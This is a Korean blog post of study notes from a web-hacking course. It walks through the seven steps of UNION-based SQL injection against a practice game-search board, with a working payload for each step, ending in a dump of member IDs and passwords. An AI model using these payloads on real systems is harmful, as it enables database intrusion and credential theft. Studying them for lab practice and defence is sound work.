해킹스터디

[Normaltic 웹해킹 입문] 6주차 복습(UNION을 이용한 SQLi)

herini0829 2025. 11. 27. 21:49

🔗 [웹 해킹 스터디] UNION SQL Injection: 데이터베이스를 털어버리는 7단계 (feat. 노말틱)

오늘은 SQL Injection 공격 기법 중에서도 꽃이라 불리는(?) UNION SQL Injection에 대해 정리해 본다.
개발할 때는 잘 안 쓰지만, 해커에게는 데이터를 통째로 조회할 수 있는 강력한 무기가 되는 UNION. 그 원리와 공격 프로세스 7단계를 알아보자.


1. UNION이란 무엇인가?

UNION은 두 개의 SELECT 문 결과를 하나의 결과 집합으로 합쳐주는(병합) 연산자다. 쉽게 말해 결과물을 세로로 이어 붙이는 것이다.

Query A: SELECT id FROM member
Query B: SELECT pw FROM member
UNION: SELECT id FROM member UNION SELECT pw FROM member

위와 같이 쿼리를 날리면 DB는 아래처럼 결과를 합쳐서 보여준다.

id1 (여기까지 id 컬럼 결과)
id2
id3
pw1 (여기서부터 pw 컬럼 결과)
pw2
pw3

🎯 해킹에서의 활용
만약 게시판 검색창 같은 곳에 공격자가 UNION을 주입하면 어떻게 될까?
앞의 쿼리(게시글 검색) 결과 밑에 뒤의 쿼리(회원정보 조회) 결과를 붙여서 화면에 출력시킬 수 있다. 즉, 게시글 제목이 나와야 할 자리에 관리자의 비밀번호가 뜨게 만들 수 있다.

⚠️ UNION의 절대 규칙
두 SELECT 문의 컬럼(Column) 개수가 정확히 일치해야만 합쳐준다.
(개수가 다르면 에러 발생!)

2. UNION SQL Injection 7 Steps

노말틱 님 강의에서 정리한 UNION 공격의 정석, 7단계를 따라가 보자. (예시: 게임 검색 게시판)

Step 1) SQLi Point 찾기 (삽입 지점 파악)

먼저 SQL 인젝션이 먹히는 곳인지 확인해야 한다. 검색창에 '(싱글 쿼터) 등을 넣어 에러를 유발하거나, 논리 연산을 주입해 본다.

/* 정상 쿼리 추측 */
select * from game_table where gamename like '%[입력값]%'

/* 공격 페이로드 입력 */
over%' and '1%'='1

입력값이 over%' and '1%'='1 일 때, 정상적으로 over가 포함된 결과가 나온다면 SQL 구문이 참(True)으로 처리되어 실행된 것이므로 SQL Injection 취약점이 존재한다.

 

Step 2) Column 개수 파악 (ORDER BY Trick)

UNION을 쓰려면 앞의 쿼리와 컬럼 개수를 맞춰야 한다. 이를 알아내기 위해 ORDER BY 절을 사용한다.
ORDER BY 숫자는 "N번째 컬럼을 기준으로 정렬하라"는 뜻이다.

  • over%' order by 1 # -> 정상 (컬럼 1개 이상임)
  • over%' order by 2 # -> 정상 (컬럼 2개 이상임)
  • ...
  • over%' order by 5 # -> 에러 발생! (Unknown column '5'...)

5에서 에러가 났다면, 컬럼은 총 4개라는 뜻이다.

 

Step 3) 출력 Column 확인 (Data Output Point)

4개의 컬럼 중, 실제로 화면에 데이터가 출력되는 컬럼이 무엇인지 확인한다. (우리는 그 위치에 데이터를 띄워야 하니까!)

over%' union select 1, 2, 3, 4 #

이렇게 입력했을 때, 게시판 제목 자리에 숫자 2가 뜨고, 내용 자리에 3이 뜬다면? 우리는 2번과 3번 자리를 통해 데이터를 유출할 수 있다.

Step 4) DB 이름 확인

이제 화면에 출력되는 자리(예: 2번)에 우리가 원하는 함수를 넣는다. DB 이름을 알려주는 database()를 넣어보자.

over%' union select 1, database(), 3, 4 #

결과: 화면의 2번 위치에 segfault_sql 같은 DB 이름이 출력된다.

 

Step 5) Table 이름 확인 (Information_schema)

DB 이름을 알았으니, 그 안에 있는 테이블 명을 알아내야 한다. MySQL의 information_schema 메타 데이터를 조회한다.

over%' union select 1, table_name, 3, 4 from information_schema.tables where table_schema='segfault_sql' #

해석: segfault_sql 데이터베이스에 있는 테이블들의 이름(table_name)을 2번 자리에 출력하라.
결과: member, board 같은 테이블 이름들이 출력된다.

Step 6) Column 이름 확인

member 테이블을 털기로 결정했다면, 그 안에 어떤 컬럼(아이디, 비번 등)이 있는지 알아내야 한다.

over%' union select 1, column_name, 3, 4 from information_schema.columns where table_name='member' #

해석: member 테이블에 있는 컬럼들의 이름(column_name)을 출력하라.
결과: id, pass, email 등의 컬럼명을 확인할 수 있다.

Step 7) 데이터 추출 (Dump)

드디어 마지막! DB명, 테이블명, 컬럼명까지 다 알았다. 이제 진짜 데이터를 가져오자.

over%' union select 1, id, pass, 4 from member #

결과: 화면의 2번 자리에 사용자 ID가, 3번 자리에 비밀번호가 주르륵 출력된다. (여기선 플래그 나옴 ㅎㅎ)

 


📝 정리

UNION SQL Injection은 과정이 정형화되어 있어 "공식"처럼 외워두면 좋다.

  1. Point 확인: 공격 되나?
  2. 컬럼 수 확인: ORDER BY
  3. 출력 위치 확인: UNION SELECT 1,2,3...
  4. DB명 확인: database()
  5. 테이블명 확인: information_schema.tables
  6. 컬럼명 확인: information_schema.columns
  7. 데이터 추출: SELECT id, pw FROM member

게시판처럼 DB 조회 결과가 화면에 그대로 뿌려지는 곳이라면 UNION 공격에 매우 취약하다는 점을 명심하자!